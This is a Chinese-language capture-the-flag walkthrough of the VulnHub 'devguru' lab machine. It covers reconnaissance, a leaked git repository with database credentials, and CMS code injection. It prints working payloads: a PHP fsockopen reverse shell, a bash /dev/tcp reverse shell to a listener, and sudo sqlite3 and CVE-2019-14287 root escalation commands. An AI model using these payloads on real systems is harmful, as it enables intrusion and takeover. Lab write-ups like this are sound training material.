vulnhub系列:devguru

vulnhub系列:devguru

靶机下载

一、信息收集

nmap扫描存活,根据mac地址寻找IP

nmap 192.168.23.0/24

nmap扫描端口,开放端口:22、80、8585

nmap 192.168.23.147 -p- -sV -Pn -O

访问80端口

dirb目录扫描,存在 git 源码、

dirb http://192.168.23.147/

拼接发现数据库登录页面

发现登录页面

拼接/.git/config,发现8585端口的路径

拼接,是8585端口的页面

拼接/.git/description,提示通过编辑 description 库来命名数据库

找不到其他东西,扫一下 8585 端口的目录

搜索框

也没扫出什么东西,看一下80端口的 git 源码泄露,Githack 下载查看

源码中发现 mysql 账号密码

成功登录数据库

发现 frank 用户,但是密码破解不出来,直接添加一个用户

设置权限

添加用户后无法登录,john 解码发现密码为 bcrypt 加密发现密码,设置密码时需要选择 encrypt ,修改后成功登录

二、getshell

在 cms -> pages 可以写入语句,这里我在 about 中写入语句

function onStart(){
    $s=fsockopen("192.168.195.130",7777);
    $proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);
}

kali监听4444端口,然后访问页面的about路径

成功反弹shell

三、提权

使用python提升交互性

python3 -c "import pty;pty.spawn('/bin/bash')"

尝试提权失败,/home 目录下有一个 frank 目录,也没有权限进入

/var/backups 下发现 app.ini.pak,查看内容

得到 gitea 账号密码

gitea:UfFPTF8C8jjxVF2m

返回 adminer.php 页面,登录

user 表下发现 frank 用户,密码 bcrypt 加密

将密码修改为同样 bcrypt 加密的,123456

https://www.bejson.com/encrypt/bcrpyt_encode/

$2a$10$vVQiseY5ZaYAwCcbgXJRpOxOhqXtXfN2SvsjW3vG3AXWw3R.LESIe

将密码修改

访问 8585端口的 /user/login 进行登录

登录后点击

在其中写入反弹 shell 语句

bash -c "exec bash -i >& /dev/tcp/192.168.23.133/4444 0>&1"

下方点击保存

kali 开启监听

nc -lvnp 4444

返回前几个路径,随便修改一个文件,保存后即可反弹shell

在 /home/frank 下发现第一个 flag 文件

查看当前权限

sudo -l

发现 sqlite3 命令能执行 root 权限,执行命令

sudo sqlite3 /dev/null '.shell /bin/sh'

提权失败,百度搜了一下,是由于 sudo 版本问题导致,查看 sudo 版本

sudo -V

又查了一下,sudo 版本低于 1.8.27,存在 CVE-2019-14287 漏洞,执行命令,提权成功

sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'

在 /root 下发现第二个 flag

相关推荐
Clockwiseee2 小时前
php伪协议
windows·安全·web安全·网络安全
xcLeigh4 小时前
网络安全 | 防火墙的工作原理及配置指南
安全·web安全
安全小王子5 小时前
Kali操作系统简单介绍
网络·web安全
光路科技5 小时前
八大网络安全策略:如何防范物联网(IoT)设备带来的安全风险
物联网·安全·web安全
Lspecialnx_7 小时前
文件解析漏洞中间件(iis和Apache)
网络安全·中间件
网络安全Jack8 小时前
网络安全概论——身份认证
网络·数据库·web安全
网络安全King8 小时前
计算机网络基础(2):网络安全/ 网络通信介质
计算机网络·安全·web安全
学习溢出8 小时前
【网络安全】逆向工程 练习示例
网络·安全·网络安全·渗透测试·逆向工程